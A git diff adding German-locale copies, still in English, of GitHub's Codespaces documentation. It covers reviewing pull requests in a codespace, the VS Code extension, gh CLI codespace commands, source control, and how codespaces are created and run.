+1. In the {% data variables.product.prodname_codespaces %} tab, click the plus sign ({% octicon "plus" aria-label="The plus icon" %})
+
+   ![Option to open PR in a codespace](/assets/images/help/codespaces/open-with-codespaces-pr.png)
+
+   A codespace is created for the pull request branch and is opened in your default editor for {% data variables.product.prodname_github_codespaces %}.
+
+## Reviewing a pull request in {% data variables.product.prodname_codespaces %}
+
+1. With your default editor set to either {% data variables.product.prodname_vscode %} or {% data variables.product.prodname_vscode %} for Web, open the pull request in a codespace, as described in "[Opening a pull request](/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests#opening-a-pull-request-in-codespaces)" above.
+2. In the Activity Bar, click the **GitHub Pull Request** view. This view only appears when you open a pull request in a codespace.
+  ![Option to open PR in a codespace](/assets/images/help/codespaces/github-pr-view.png)
+3. To review a specific file, click the **Open File** icon in the sidebar.
+  ![Option to open PR in a codespace](/assets/images/help/codespaces/changes-in-files.png)
+4. To add review comments, click the **+** icon next to the line number. Type your review comment and then click **Start Review**.
+  ![Option to open PR in a codespace](/assets/images/help/codespaces/start-review.png)
+5. When you are finished adding review comments, from the sidebar you can choose to either submit the comments, approve the changes, or request changes.
+  ![Option to open PR in a codespace](/assets/images/help/codespaces/submit-review.png)
+
+For more information on reviewing a pull request, see "[Reviewing proposed changes in a pull request](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)."
+
+## View comments from a review in {% data variables.product.prodname_codespaces %}
+
+Once you have received feedback on a pull request, you can [open it in a codespace](#opening-a-pull-request-in-codespaces) in your web browser, or in {% data variables.product.prodname_vscode_shortname %}, to see the [review comments](#reviewing-a-pull-request-in-codespaces). From there you can respond to comments, add reactions, or dismiss the review. 
+
+  ![Option to open PR in a codespace](/assets/images/help/codespaces/incorporating-codespaces.png)
+
+
+
diff --git a/translations/de-DE/content/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code.md b/translations/de-DE/content/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code.md
new file mode 100644
index 0000000000..74635bca2b
--- /dev/null
+++ b/translations/de-DE/content/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code.md
@@ -0,0 +1,107 @@
+---
+title: Using GitHub Codespaces in Visual Studio Code
+shortTitle: Visual Studio Code
+intro: 'You can develop in your codespace directly in {% data variables.product.prodname_vscode %} by connecting the {% data variables.product.prodname_github_codespaces %} extension with your account on {% data variables.product.product_name %}.'
+redirect_from:
+  - /github/developing-online-with-codespaces/using-codespaces-in-visual-studio-code
+  - /github/developing-online-with-codespaces/connecting-to-your-codespace-from-visual-studio-code
+  - /github/developing-online-with-codespaces/using-codespaces-in-visual-studio
+  - /codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Visual Studio Code
+  - Developer
+---
+ 
+## About {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode %}
+
+You can use your local install of {% data variables.product.prodname_vscode %} to create, manage, work in, and delete codespaces. {% data reusables.codespaces.using-codespaces-in-vscode %} For more information on setting up {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode_shortname %}, see "[Prerequisites](#prerequisites)."
+
+By default, if you create a new codespace on {% data variables.product.prodname_dotcom_the_website %}, it will open in the browser. If you would prefer to open any new codespaces in {% data variables.product.prodname_vscode_shortname %} automatically, you can set your default editor to be {% data variables.product.prodname_vscode_shortname %}. For more information, see "[Setting your default editor for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-default-editor-for-github-codespaces)."
+
+If you prefer to work in the browser, but want to continue using your existing {% data variables.product.prodname_vscode_shortname %} extensions, themes, and shortcuts, you can turn on Settings Sync. For more information, see "[Personalizing {% data variables.product.prodname_github_codespaces %} for your account](/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account#settings-sync)."
+
+## Prerequisites
+
+To develop in a codespace directly in {% data variables.product.prodname_vscode_shortname %}, you must install and sign into the {% data variables.product.prodname_github_codespaces %} extension with your {% data variables.product.product_name %} credentials. The {% data variables.product.prodname_github_codespaces %} extension requires {% data variables.product.prodname_vscode_shortname %} October 2020 Release 1.51 or later.
+
+Use the {% data variables.product.prodname_vscode_marketplace %} to install the [{% data variables.product.prodname_github_codespaces %}](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces) extension. For more information, see [Extension Marketplace](https://code.visualstudio.com/docs/editor/extension-gallery) in the {% data variables.product.prodname_vscode_shortname %} documentation.
+
+
+{% mac %}
+
+{% data reusables.codespaces.click-remote-explorer-icon-vscode %}
+1. Click **Sign in to {% data variables.product.prodname_dotcom %}...**.
+
+   ![Signing in to {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode-mac.png)
+
+2. To authorize {% data variables.product.prodname_vscode_shortname %} to access your account on {% data variables.product.product_name %}, click **Allow**.
+3. Sign in to {% data variables.product.product_name %} to approve the extension.
+
+{% endmac %}
+
+{% windows %}
+
+{% data reusables.codespaces.click-remote-explorer-icon-vscode %}
+1. Use the "REMOTE EXPLORER" drop-down, then click **{% data variables.product.prodname_github_codespaces %}**.
+
+   ![The {% data variables.product.prodname_github_codespaces %} header](/assets/images/help/codespaces/codespaces-header-vscode.png)
+
+1. Click **Sign in to view {% data variables.product.prodname_codespaces %}**.
+
+   ![Signing in to view {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/sign-in-to-view-codespaces-vscode.png)
+
+1. To authorize {% data variables.product.prodname_vscode_shortname %} to access your account on {% data variables.product.product_name %}, click **Allow**.
+1. Sign in to {% data variables.product.product_name %} to approve the extension.
+
+{% endwindows %}
+
+## Creating a codespace in {% data variables.product.prodname_vscode_shortname %}
+
+{% data reusables.codespaces.creating-a-codespace-in-vscode %}
+
+## Opening a codespace in {% data variables.product.prodname_vscode_shortname %}
+
+{% data reusables.codespaces.click-remote-explorer-icon-vscode %}
+1. Under "Codespaces", click the codespace you want to develop in.
+1. Click the Connect to Codespace icon.
+
+   ![The Connect to Codespace icon in {% data variables.product.prodname_vscode_shortname %}](/assets/images/help/codespaces/click-connect-to-codespace-icon-vscode.png)
+
+## Changing the machine type in {% data variables.product.prodname_vscode_shortname %}
+
+{% data reusables.codespaces.codespaces-machine-types %} You can change the machine type of your codespace at any time.
+
+{% note %}
+
+**Note**: {% data reusables.codespaces.codespaces-machine-type-availability %}
+
+{% endnote %}
+
+{% data reusables.codespaces.changing-machine-type-in-vscode %}
+
+{% data reusables.codespaces.about-changing-storage-size %}
+
+## Deleting a codespace in {% data variables.product.prodname_vscode_shortname %}
+
+{% data reusables.codespaces.deleting-a-codespace-in-vscode %}
+
+## Switching to the Insiders build of {% data variables.product.prodname_vscode_shortname %}
+
+You can use the [Insiders Build of {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/docs/setup/setup-overview#_insiders-nightly-build) within {% data variables.product.prodname_github_codespaces %}.
+
+1. In bottom left of your {% data variables.product.prodname_github_codespaces %} window, select **{% octicon "gear" aria-label="The settings icon" %} Settings**.
+2. From the list, select "Switch to Insiders Version".
+
+   ![Clicking on "Insiders Build" in {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/codespaces-insiders-vscode.png)
+
+3. Once selected, {% data variables.product.prodname_github_codespaces %} will continue to open in Insiders Version.
+
+## Further reading
+
+- "[Using the {% data variables.product.prodname_vscode_command_palette %} in {% data variables.product.prodname_github_codespaces %}](/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces)"
+- "[Using {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_github_codespaces %}](/codespaces/codespaces-reference/using-github-copilot-in-github-codespaces)"
\ No newline at end of file
diff --git a/translations/de-DE/content/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli.md b/translations/de-DE/content/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli.md
new file mode 100644
index 0000000000..78bca1ff88
--- /dev/null
+++ b/translations/de-DE/content/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli.md
@@ -0,0 +1,239 @@
+---
+title: Using GitHub Codespaces with GitHub CLI
+shortTitle: GitHub CLI
+intro: 'You can work with {% data variables.product.prodname_github_codespaces %} directly from your command line by using `gh`, the {% data variables.product.product_name %} command line interface.'
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - CLI
+  - Developer
+redirect_from:
+  - /codespaces/developing-in-codespaces/using-codespaces-with-github-cli
+---
+
+## About {% data variables.product.prodname_cli %} 
+
+{% data reusables.cli.about-cli %} For more information, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)."
+
+You can work with {% data variables.product.prodname_github_codespaces %} in the  {% data variables.product.prodname_cli %} to:
+  - [List all of your codespaces](#list-all-of-your-codespaces)
+  - [Create a new codespace](#create-a-new-codespace)
+  - [Stop a codespace](#stop-a-codespace)
+  - [Delete a codespace](#delete-a-codespace)
+  - [Rename a codespace](#rename-a-codespace)
+  - [SSH into a codespace](#ssh-into-a-codespace)
+  - [Open a codespace in {% data variables.product.prodname_vscode %}](#open-a-codespace-in--data-variablesproductprodname_vscode-)
+  - [Open a codespace in JupyterLab](#open-a-codespace-in-jupyterlab)
+  - [Copy a file to/from a codespace](#copy-a-file-tofrom-a-codespace)
+  - [Modify ports in a codespace](#modify-ports-in-a-codespace)
+  - [Access codespace logs](#access-codespace-logs)
+  - [Access remote resources](#access-remote-resources)
+  - [Change the machine type of a codespace](#change-the-machine-type-of-a-codespace)
+
+## Installing {% data variables.product.prodname_cli %}
+
+{% data reusables.cli.cli-installation %}
+ 
+## Using {% data variables.product.prodname_cli %}
+
+If you have not already done so, run `gh auth login` to authenticate with your {% data variables.product.prodname_dotcom %} account. 
+
+To use `gh` to work with {% data variables.product.prodname_github_codespaces %}, type `gh codespace SUBCOMMAND` or its alias `gh cs SUBCOMMAND`.
+
+As an example of a series of commands you might use to work with {% data variables.product.prodname_github_codespaces %}, you could: 
+
+* List your current codespaces, to check whether you have a codespace for a particular repository:<br>
+  `gh codespace list`
+* Create a new codespace for the required repository branch:<br>
+  `gh codespace create -r github/docs -b main`
+* SSH into the new codespace:<br>
+  `gh codespace ssh -c octocat-literate-space-parakeet-7gwrqp9q9jcx4vq`
+* Forward a port to your local machine:<br>
+  `gh codespace ports forward 8000:8000 -c octocat-literate-space-parakeet-7gwrqp9q9jcx4vq`
+
+## `gh` commands for {% data variables.product.prodname_github_codespaces %}
+
+The sections below give example commands for each of the available operations.
+
+For a complete reference of `gh` commands for {% data variables.product.prodname_github_codespaces %}, including details of all available options for each command, see the {% data variables.product.prodname_cli %} online help for "[gh codespace](https://cli.github.com/manual/gh_codespace)." Alternatively, on the command line, use `gh codespace --help` for general help or `gh codespace SUBCOMMAND --help` for help with a specific subcommand.
+
+{% note %}
+
+**Note**: The `-c CODESPACE_NAME` flag, used with many commands, is optional. If you omit it a list of codespaces is displayed for you to choose from.
+
+{% endnote %}
+
+### List all of your codespaces
+
+```shell
+gh codespace list
+```
+
+The list includes the unique name of each codespace, which you can use in other `gh codespace` commands.
+
+An asterisk at the end of the branch name for a codespace indicates that there are uncommitted or unpushed changes in that codespace.
+
+### Create a new codespace
+
+```shell
+gh codespace create -r OWNER/REPO_NAME [-b BRANCH]
+```
+
+For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository)."
+
+### Stop a codespace
+
+```shell
+gh codespace stop -c CODESPACE-NAME
+```
+
+For more information, see "[Deep dive into {% data variables.product.prodname_github_codespaces %}](/codespaces/getting-started/deep-dive#closing-or-stopping-your-codespace)."
+
+### Delete a codespace
+
+```shell
+gh codespace delete -c CODESPACE-NAME
+```
+
+For more information, see "[Deleting a codespace](/codespaces/developing-in-codespaces/deleting-a-codespace)."
+
+### Rename a codespace
+
+```shell
+gh codespace edit -c CODESPACE-NAME -d DISPLAY-NAME
+```
+
+For more information, see "[Renaming a codespace](/codespaces/customizing-your-codespace/renaming-a-codespace)."
+
+### SSH into a codespace
+
+To run commands on the remote codespace machine, from your terminal, you can SSH into the codespace.
+
+```shell
+gh codespace ssh -c CODESPACE-NAME
+```
+
+{% note %}
+
+**Note**: {% data reusables.codespaces.ssh-server-installed %}
+
+<br>For more information about the `devcontainer.json` file and the default container image, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)."
+
+{% endnote %}
+
+{% data variables.product.prodname_github_codespaces %} copies your GitHub SSH keys into the codespace on creation for a seamless authentication experience. You may be asked to enter the passphrase for your SSH key, after which you will get a command prompt from the remote codespace machine.
+
+If you don't have any SSH keys, follow the instructions in "[Generating a new SSH key and adding it to the ssh-agent](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)."
+
+### Open a codespace in {% data variables.product.prodname_vscode %}
+
+```shell
+gh codespace code -c CODESPACE-NAME
+```
+
+You must have {% data variables.product.prodname_vscode_shortname %} installed on your local machine. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code)."
+
+### Open a codespace in JupyterLab
+
+```shell
+gh codespace jupyter -c CODESPACE-NAME
+```
+
+{% data reusables.codespaces.jupyterlab-installed-in-codespace %}
+
+### Copy a file to/from a codespace
+
+```shell
+gh codespace cp [-r] SOURCE(S) DESTINATION
+```
+
+Use the prefix `remote:` on a file or directory name to indicate that it's on the codespace. As with the UNIX `cp` command, the first argument specifies the source and the last specifies the destination. If the destination is a directory, you can specify multiple sources. Use the `-r` (recursive) flag if any of the sources is a directory.
+
+The location of files and directories on the codespace is relative to the home directory of the remote user.
+
+#### Examples
+
+* Copy a file from the local machine to the `$HOME` directory of a codespace:
+
+   `gh codespace cp myfile.txt remote:`
+
+* Copy a file to the directory in which a repository is checked out in a codespace:
+
+   `gh codespace cp myfile.txt remote:/workspaces/REPOSITORY-NAME`
+
+* Copy a file from a codespace to the current directory on the local machine:
+
+   `gh codespace cp remote:myfile.txt .`
+
+* Copy three local files to the `$HOME/temp` directory of a codespace:
+
+   `gh codespace cp a1.txt a2.txt a3.txt remote:temp`
+
+* Copy three files from a codespace to the current working directory on the local machine:
+
+   `gh codespace cp remote:a1.txt remote:a2.txt remote:a3.txt .`
+
+* Copy a local directory into the `$HOME` directory of a codespace:
+
+   `gh codespace cp -r mydir remote:`
+
+* Copy a directory from a codespace to the local machine, changing the directory name:
+
+   `gh codespace cp -r remote:mydir mydir-localcopy`
+
+For more information about the `gh codespace cp` command, including additional flags you can use, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_cp).
+
+### Modify ports in a codespace
+
+You can forward a port on a codespace to a local port. The port remains forwarded as long as the process is running. To stop forwarding the port, press <kbd>Control</kbd>+<kbd>C</kbd>.
+
+```shell
+gh codespace ports forward CODESPACE-PORT_NAME:LOCAL-PORT-NAME -c CODESPACE-NAME
+```
+
+To see details of forwarded ports enter `gh codespace ports` and then choose a codespace.
+
+You can set the visibility of a forwarded port. {% data reusables.codespaces.port-visibility-settings %}
+
+```shell
+gh codespace ports visibility CODESPACE-PORT:private|org|public -c CODESPACE-NAME
+```
+
+You can set the visibility for multiple ports with one command. For example:
+
+```shell
+gh codespace ports visibility 80:private 3000:public 3306:org -c CODESPACE-NAME
+```
+
+For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
+
+### Access codespace logs
+
+You can see the creation log for a codespace. After entering this command you will be asked to enter the passphrase for your SSH key.
+
+```shell
+gh codespace logs -c CODESPACE-NAME
+```
+
+For more information about the creation log, see "[{% data variables.product.prodname_github_codespaces %} logs](/codespaces/troubleshooting/github-codespaces-logs#creation-logs)."
+
+### Access remote resources 
+You can use the {% data variables.product.prodname_cli %} extension to create a bridge between a codespace and your local machine, so that the codespace can access any remote resource that is accessible from your machine. For more information on using the extension, see "[Using {% data variables.product.prodname_cli %} to access remote resources](https://github.com/github/gh-net#codespaces-network-bridge)."
+
+{% note %}
+
+**Note**: The {% data variables.product.prodname_cli %} extension is currently in beta and subject to change. 
+
+{% endnote %}
+
+### Change the machine type of a codespace
+
+```shell
+gh codespace edit -m MACHINE-TYPE-NAME
+```
+
+For more information, see the "{% data variables.product.prodname_cli %}" tab of "[Changing the machine type for your codespace](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace)."
diff --git a/translations/de-DE/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md b/translations/de-DE/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md
new file mode 100644
index 0000000000..4765a8908e
--- /dev/null
+++ b/translations/de-DE/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md
@@ -0,0 +1,122 @@
+---
+title: Using source control in your codespace
+intro: After making changes to a file in your codespace you can quickly commit the changes and push your update to the remote repository.
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Fundamentals
+  - Developer
+shortTitle: Source control
+---
+
+{% jetbrains %}
+
+{% data reusables.codespaces.codespaces-jetbrains-beta-note %}
+
+{% endjetbrains %}
+
+## About source control in {% data variables.product.prodname_github_codespaces %}
+
+You can perform all the Git actions you need directly within your codespace. For example, you can fetch changes from a remote repository, switch branches, create a new branch, commit and push changes, and create a pull request. You can use the integrated terminal within your codespace to enter Git commands, or you can click icons and menu options to complete all the most common Git tasks. This guide explains how to use the graphical user interface for source control.
+
+{% vscode %}
+
+For more information about Git support in {% data variables.product.prodname_vscode %}, see "[Using Version Control in VS Code](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support)" in the {% data variables.product.prodname_vscode %} documentation.
+
+{% endvscode %}
+
+{% webui %}
+
+Source control in the {% data variables.product.prodname_vscode %} web client uses the same workflow as the {% data variables.product.prodname_vscode %} desktop application. For more information, see "[Using Version Control in VS Code](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support)" in the {% data variables.product.prodname_vscode %} documentation.
+
+{% endwebui %}
+
+A typical workflow for updating a file using {% data variables.product.prodname_github_codespaces %} would be:
+
+* From the default branch of your repository on {% data variables.product.prodname_dotcom %}, create a codespace. See "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository)."
+* In your codespace, create a new branch to work on.
+* Make your changes and save them.
+* Commit the change.
+* Raise a pull request.
+
+{% webui %}
+
+{% data reusables.codespaces.source-control %} 
+
+{% endwebui %}
+
+{% vscode %}
+
+{% data reusables.codespaces.source-control %} 
+
+{% endvscode %}
+
+{% jetbrains %}
+
+## Creating or switching branches
+
+1. Click the branch name at the right side of the status bar.
+
+   ![Screenshot of the branch name in the status bar](/assets/images/help/codespaces/jetbrains-branch-button.png)
+
+1. In the pop-up menu, do one of the following:
+   * To create a new branch based on the current branch, click the name of the current branch, then choose **New Branch**. 
+
+     ![Screenshot of the new branch option](/assets/images/help/codespaces/jetbrains-new-branch-option.png)
+
+     Enter a name for the new branch and click **Create**.
+
+     ![Screenshot of the create branch dialog box](/assets/images/help/codespaces/jetbrains-create-branch-dialog.png)
+
+   * To check out an existing branch, start typing the name of the branch you want to check out. Click the branch from the list, then click **Checkout**.
+
+     ![Screenshot of the checkout option](/assets/images/help/codespaces/jetbrains-checkout-submenu.png)
+
+     {% tip %}
+
+     **Tip**: If someone has recently changed a file on the remote repository, in the branch you switched to, you may not see those changes until you pull the changes into your codespace. 
+
+     {% endtip %}
+
+
+## Committing your changes 
+
+1. At the right side of the navigation bar, click the check mark.
+
+   ![Screenshot of the commit check mark](/assets/images/help/codespaces/jetbrains-commit-button.png)
+
+1. In the Commit Changes dialog box, enter a commit message.
+1. Click **Commit**.
+
+   Alternatively, click the down arrow beside **Commit** and click **Commit and Push**.
+
+   ![Screenshot of the commit and push button](/assets/images/help/codespaces/jetbrains-commit-and-push.png)
+
+## Pulling changes from the remote repository
+
+You can pull changes from the same branch on the remote repository and apply those changes to the copy of the repository you are working on in your codespace.
+
+1. At the right side of the navigation bar, click the downward pointing arrow.
+
+   ![Screenshot of the update project downward arrow button](/assets/images/help/codespaces/jetbrains-update-project-button.png)
+
+1. In the Update Project dialog box, choose whether you want to merge or rebase the incoming changes.
+
+   ![Screenshot of the Update Project dialog box](/assets/images/help/codespaces/jetbrains-update-options.png)
+
+1. Click **OK**.
+
+## Pushing changes to your remote repository
+
+You can push changes you've saved and committed. This applies those changes to the upstream branch on the remote repository. You might want to do this if you're not yet ready to create a pull request, or if you prefer to create a pull request on {% data variables.product.prodname_dotcom %}.
+
+1. At the right side of the navigation bar, click the upward pointing arrow.
+
+   ![Screenshot of the push commits upward arrow](/assets/images/help/codespaces/jetbrains-push-button.png)
+
+1. In the Push Commits dialog box, click **Push**.
+
+{% endjetbrains %}
diff --git a/translations/de-DE/content/codespaces/getting-started/deep-dive.md b/translations/de-DE/content/codespaces/getting-started/deep-dive.md
new file mode 100644
index 0000000000..48c9c1004b
--- /dev/null
+++ b/translations/de-DE/content/codespaces/getting-started/deep-dive.md
@@ -0,0 +1,159 @@
+---
+title: 'Deep dive into {% data variables.product.prodname_github_codespaces %}'
+shortTitle: 'Deep dive into {% data variables.product.prodname_codespaces %}'
+intro: 'Understand how {% data variables.product.prodname_github_codespaces %} works.'
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghec: '*'
+type: quick_start
+topics:
+  - Codespaces
+---
+
+{% data variables.product.prodname_github_codespaces %} is an instant, cloud-based development environment that uses a container to provide you with common languages, tools, and utilities for development. {% data variables.product.prodname_github_codespaces %} is also configurable, allowing you to create a customized development environment for your project. By configuring a custom development environment for your project, you can have a repeatable codespace configuration for all users of your project.
+
+## Creating your codespace
+
+There are a number of entry points to create a codespace.
+
+- From a {% data variables.product.company_short %} template or any template repository on {% data variables.product.prodname_dotcom_the_website %} to start a new project
+- From a branch in your repository for new feature work
+- From an open pull request to explore work-in-progress
+- From a commit in a repository's history to investigate a bug at a specific point in time
+
+{% data reusables.codespaces.ways-to-create-a-codespace %}
+  
+Your codespace can be ephemeral if you need to test something or you can return to the same codespace to work on long-running feature work. 
+
+For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository)," "[Creating a codespace from a template](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template)," and "[Opening an existing codespace](/codespaces/developing-in-codespaces/opening-an-existing-codespace)."
+
+{% note %}
+
+**Note**: You can create more than one codespace per repository or even per branch. However, there are limits to the number of codespaces you can create, and the number of codespaces you can run at the same time. If you reach the maximum number of codespaces and try to create another, a message is displayed telling you that you must remove an existing codespace before you can create a new one.
+
+{% endnote %}
+
+### The codespace creation process
+
+When you create a codespace, various steps happen in the background before the codespace is available to you.
+
+### Step 1: VM and storage are assigned to your codespace
+
+When you create a codespace, a [shallow clone](https://github.blog/2020-12-21-get-up-to-speed-with-partial-clone-and-shallow-clone/) is made of your repository, or of the template repository if you're creating a codespace from a template. The repository is cloned to a Linux virtual machine that is both dedicated and private to you. Having a dedicated VM ensures that you have the entire set of compute resources from that machine available to you. If necessary, this also allows you to have full root access to your container.
+
+### Step 2: Container is created
+
+{% data variables.product.prodname_github_codespaces %} uses a container as the development environment. This container is created based on configurations that you can define in a `devcontainer.json` file and, optionally, a Dockerfile. If you create a codespace from {% data variables.product.company_short %}'s blank template, or from a repository with no `devcontainer.json` file, {% data variables.product.prodname_github_codespaces %} uses a default image, which has many languages and runtimes available. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)." For details of what the default image contains, see the [`microsoft/vscode-dev-containers`](https://github.com/microsoft/vscode-dev-containers/tree/main/containers/codespaces-linux) repository.
+
+{% note %}
+
+**Note:** If you want to use Git hooks in your codespace and apply anything in the [git template directory](https://git-scm.com/docs/git-init#_template_directory) to your codespace, then you must set up hooks during step 4 after the container is created.
+
+Since your repository is cloned onto the host VM before the container is created, anything in the [git template directory](https://git-scm.com/docs/git-init#_template_directory) will not apply in your codespace unless you set up hooks in your `devcontainer.json` configuration file using the `postCreateCommand` in step 4. For more information, see "[Step 4: Post-creation setup](#step-4-post-creation-setup)."
+
+{% endnote %}
+
+### Step 3: Connecting to the codespace
+
+When your container has been created and any other initialization has run, you'll be connected to your codespace. You can connect to it by using:
+
+* Your web browser
+* [Visual Studio Code](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code)
+* [A JetBrains IDE](/codespaces/developing-in-codespaces/using-github-codespaces-in-your-jetbrains-ide)
+* [{% data variables.product.prodname_cli %}](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli)
+
+### Step 4: Post-creation setup
+
+Once you are connected to your codespace, your automated setup may continue to build based on the configuration specified in your `devcontainer.json` file. You may see `postCreateCommand` and `postAttachCommand` run.
+
+If you want to use Git hooks in your codespace, set up hooks using the [`devcontainer.json` lifecycle scripts](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_lifecycle-scripts), such as `postCreateCommand`. For more information, see the [`devcontainer.json` reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_devcontainerjson-properties) in the {% data variables.product.prodname_vscode_shortname %} documentation.
+
+If you have a public dotfiles repository for {% data variables.product.prodname_github_codespaces %}, you can enable it for use with new codespaces. When enabled, your dotfiles will be cloned to the container and the install script will be invoked. For more information, see "[Personalizing {% data variables.product.prodname_github_codespaces %} for your account](/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account#dotfiles)." 
+
+Finally, if you created the codespace from a repository, the entire history of the repository is copied down with a full clone. If you created the codespace from a template, the full history of the template repository is not preserved; instead, unless you are using the blank template, you will start with an initial commit for the contents of the template repository.
+
+During post-creation setup you'll still be able to use the integrated terminal and make edits to your files, but take care to avoid any race conditions between your work and the commands that are running.
+## {% data variables.product.prodname_codespaces %} lifecycle
+
+### Saving files in your codespace
+
+Save changes to files in the normal way, depending on the editor you are using.
+
+If you work on codespaces in {% data variables.product.prodname_vscode %}, you can enable [Auto Save](https://code.visualstudio.com/docs/editor/codebasics#_save-auto-save) to ensure that your changes are always saved. 
+
+### Closing or stopping your codespace
+
+Your codespace will keep running while you are using it, but will time out after a period of inactivity. File changes from the editor and terminal output are counted as activity, so your codespace will not time out if terminal output is continuing. The default inactivity timeout period is 30 minutes. You can define your personal timeout setting for codespaces you create, but this may be overruled by an organization timeout policy. For more information, see "[Setting your timeout period for Codespaces](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces)." 
+
+If a codespace times out it will stop running, but you can restart it from the browser tab (if you were using the codespace in the browser), from within {% data variables.product.prodname_vscode_shortname %}, or from your list of codespaces at [https://github.com/codespaces](https://github.com/codespaces).
+
+To stop your codespace you can
+
+* In the browser: on your list of codespaces at [https://github.com/codespaces](https://github.com/codespaces), click the ellipsis (**...**) to the right of the codespace you want to stop and click **Stop codespace**.
+* In {% data variables.product.prodname_vscode_shortname %}: open [the {% data variables.product.prodname_vscode_command_palette %}](/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces#suspending-or-stopping-a-codespace) - for example, by pressing <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>Enter</kbd> (Windows/Linux) or <kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> (Mac) - type `Codespaces: stop` then press <kbd>Enter</kbd>.
+* In the JetBrains client, click the stop button at the top of the {% data variables.product.prodname_github_codespaces %} tool window. For more information, see the "JetBrains IDEs" tab of "[Stopping and starting a codespace](/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace)."
+* In a terminal window: use the {% data variables.product.prodname_cli %} command `gh codespace stop`. For more information, see "[Using {% data variables.product.prodname_github_codespaces %} with {% data variables.product.prodname_cli %}](/codespaces/developing-in-codespaces/using-github-codespaces-with-github-cli#gh-commands-for-github-codespaces)."
+
+If you exit your codespace without running the stop command (for example, by closing the browser tab), or if you leave the codespace running without interaction, the codespace and its running processes will continue for the duration of the inactivity timeout period. 
+
+When you close or stop your codespace, all uncommitted changes are preserved until you connect to the codespace again.
+
+## Running your application
+
+Port forwarding gives you access to TCP ports running within your codespace. For example, if you're running a web application on port 4000 within your codespace, you can automatically forward that port to make the application accessible from your browser.
+
+Port forwarding determines which ports are made accessible to you from the remote machine. Even if you do not forward a port, that port is still accessible to other processes running inside the codespace itself.
+
+![Diagram showing how port forwarding works in a codespace](/assets/images/help/codespaces/port-forwarding.png)
+
+When an application running inside {% data variables.product.prodname_github_codespaces %} outputs a port to the console, {% data variables.product.prodname_github_codespaces %} detects the localhost URL pattern and automatically forwards the port. You can click on the URL in the terminal, or the link in the "toast" notification message that pops up at the bottom right corner of {% data variables.product.prodname_vscode_shortname %}, to open the port in a browser. By default, {% data variables.product.prodname_github_codespaces %} forwards the port using HTTP. For more information on port forwarding, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
+
+While ports can be forwarded automatically, they are not publicly accessible to the internet. By default, all ports are private, but you can manually make a port available to your organization or public, and then share access through a URL. For more information, see "[Sharing a port](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace#sharing-a-port)."
+
+Running your application when you first land in your codespace can make for a fast inner dev loop. As you edit, your changes are automatically saved and available on your forwarded port. To view changes, go back to the running application tab in your browser and refresh it.
+
+## Committing and pushing your changes
+
+Git is installed by default in your codespace and so you can rely on your existing Git workflow. You can work with Git in your codespace either via the Terminal or by using the source control features of {% data variables.product.prodname_vscode_shortname %} or JetBrains.
+
